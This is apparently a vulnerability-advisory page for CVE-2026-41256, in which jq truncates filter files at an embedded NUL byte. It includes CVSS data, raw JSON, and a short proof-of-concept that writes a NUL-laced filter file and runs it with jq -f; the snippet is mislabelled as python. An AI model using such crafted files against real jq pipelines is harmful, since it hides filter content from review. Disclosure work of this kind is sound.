Security Vulnerability Report
中文
CVE-2026-41256 CVSS 5.5 MEDIUM

CVE-2026-41256

Published: 2026-05-11 18:16:34
Last Modified: 2026-05-11 21:19:00

Description

jq is a command-line JSON processor. In 1.8.1 and earlier, Top-level jq programs loaded from a file with -f are truncated at the first embedded NUL byte on current upstream HEAD. A crafted filter file such as . followed by \x00 and arbitrary suffix compiles and executes as only the prefix before the NUL. This leaves jq with a post-CVE-2026-33948 prefix/full-buffer mismatch on the compilation path even though the JSON parser path has already been fixed.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

jq <= 1.8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Create a malicious filter file containing a NUL byte # The payload consists of a valid filter '.' followed by a NUL byte and suffix printf ".\x00malicious_suffix" > poc.jq # Execute jq with the crafted file # Due to the vulnerability, jq truncates input at the NUL byte jq -f poc.jq # Expected behavior: The program executes only the prefix '.' # This demonstrates the truncation and buffer mismatch.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41256", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:33.983", "lastModified": "2026-05-11T21:19:00.160", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "jq is a command-line JSON processor. In 1.8.1 and earlier, Top-level jq programs loaded from a file with -f are truncated at the first embedded NUL byte on current upstream HEAD. A crafted filter file such as . followed by \\x00 and arbitrary suffix compiles and executes as only the prefix before the NUL. This leaves jq with a post-CVE-2026-33948 prefix/full-buffer mismatch on the compilation path even though the JSON parser path has already been fixed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-158"}]}], "references": [{"url": "https://github.com/jqlang/jq/security/advisories/GHSA-vf2h-chrj-q3fg", "source": "[email protected]"}, {"url": "https://github.com/jqlang/jq/security/advisories/GHSA-vf2h-chrj-q3fg", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}